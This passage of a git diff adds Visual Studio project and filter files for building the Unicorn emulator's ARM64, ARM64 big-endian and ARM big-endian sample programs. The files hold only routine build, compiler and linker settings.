Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_arm64.c" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64/sample_arm64.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64/sample_arm64.vcxproj.filters new file mode 100644 index 0000000..1be43ac --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64/sample_arm64.vcxproj.filters @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_arm64.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64eb/sample_arm64eb.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64eb/sample_arm64eb.vcxproj new file mode 100644 index 0000000..b55c3f4 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64eb/sample_arm64eb.vcxproj @@ -0,0 +1,176 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{1A42A5E3-82A7-4EE4-B7D2-8265B147F124}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sample_arm64eb</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + <ExceptionHandling>false</ExceptionHandling> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <DebugInformationFormat>None</DebugInformationFormat> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + </Link> + </ItemDefinitionGroup> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_arm64eb.c" /> + </ItemGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" /> + <ImportGroup Label="ExtensionTargets"> + </ImportGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64eb/sample_arm64eb.vcxproj.filters b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64eb/sample_arm64eb.vcxproj.filters new file mode 100644 index 0000000..a5cdd84 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_arm64eb/sample_arm64eb.vcxproj.filters @@ -0,0 +1,6 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup> + <ClCompile Include="..\..\..\samples\sample_arm64eb.c" /> + </ItemGroup> +</Project> \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_armeb/sample_armeb.vcxproj b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_armeb/sample_armeb.vcxproj new file mode 100644 index 0000000..74d6844 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/msvc/samples/sample_armeb/sample_armeb.vcxproj @@ -0,0 +1,174 @@ +<?xml version="1.0" encoding="utf-8"?> +<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003"> + <ItemGroup Label="ProjectConfigurations"> + <ProjectConfiguration Include="Debug|Win32"> + <Configuration>Debug</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Debug|x64"> + <Configuration>Debug</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|Win32"> + <Configuration>Release</Configuration> + <Platform>Win32</Platform> + </ProjectConfiguration> + <ProjectConfiguration Include="Release|x64"> + <Configuration>Release</Configuration> + <Platform>x64</Platform> + </ProjectConfiguration> + </ItemGroup> + <PropertyGroup Label="Globals"> + <ProjectGuid>{1945F27B-ABB3-47F9-9268-A42F73C8B992}</ProjectGuid> + <Keyword>Win32Proj</Keyword> + <RootNamespace>sample_armeb</RootNamespace> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>true</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="Configuration"> + <ConfigurationType>Application</ConfigurationType> + <UseDebugLibraries>false</UseDebugLibraries> + <PlatformToolset>$(DefaultPlatformToolset)</PlatformToolset> + <WholeProgramOptimization>true</WholeProgramOptimization> + <CharacterSet>MultiByte</CharacterSet> + <SpectreMitigation>false</SpectreMitigation> + </PropertyGroup> + <Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" /> + <ImportGroup Label="ExtensionSettings"> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <ImportGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'" Label="PropertySheets"> + <Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" /> + </ImportGroup> + <PropertyGroup Label="UserMacros" /> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <LinkIncremental>true</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <LinkIncremental>true</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <LinkIncremental>false</LinkIncremental> + <OutDir>$(SolutionDir)$(Platform)\$(Configuration)\</OutDir> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <LinkIncremental>false</LinkIncremental> + <IntDir>$(ProjectDir)$(Platform)\$(Configuration)\</IntDir> + </PropertyGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'"> + <ClCompile> + <PrecompiledHeader> + </PrecompiledHeader> + <WarningLevel>Level3</WarningLevel> + <Optimization>Disabled</Optimization> + <PreprocessorDefinitions>WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__ns)</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + <PreprocessorDefinitions>WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions);_CRT_SECURE_NO_WARNINGS;__i386__</PreprocessorDefinitions> + <RuntimeLibrary>MultiThreaded</RuntimeLibrary> + <ExceptionHandling>false</ExceptionHandling> + <AdditionalIncludeDirectories>../../../include</AdditionalIncludeDirectories> + </ClCompile> + <Link> + <SubSystem>Console</SubSystem> + <GenerateDebugInformation>true</GenerateDebugInformation> + <EnableCOMDATFolding>true</EnableCOMDATFolding> + <OptimizeReferences>true</OptimizeReferences> + <AdditionalDependencies>kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies);unicorn_static.lib</AdditionalDependencies> + <AdditionalLibraryDirectories>$(SolutionDir)$(Platform)\$(Configuration)\</AdditionalLibraryDirectories> + </Link> + </ItemDefinitionGroup> + <ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'"> + <ClCompile> + <WarningLevel>Level3</WarningLevel> + <PrecompiledHeader> + </PrecompiledHeader> + <Optimization>MaxSpeed</Optimization> + <FunctionLevelLinking>true</FunctionLevelLinking> + <IntrinsicFunctions>true</IntrinsicFunctions> + 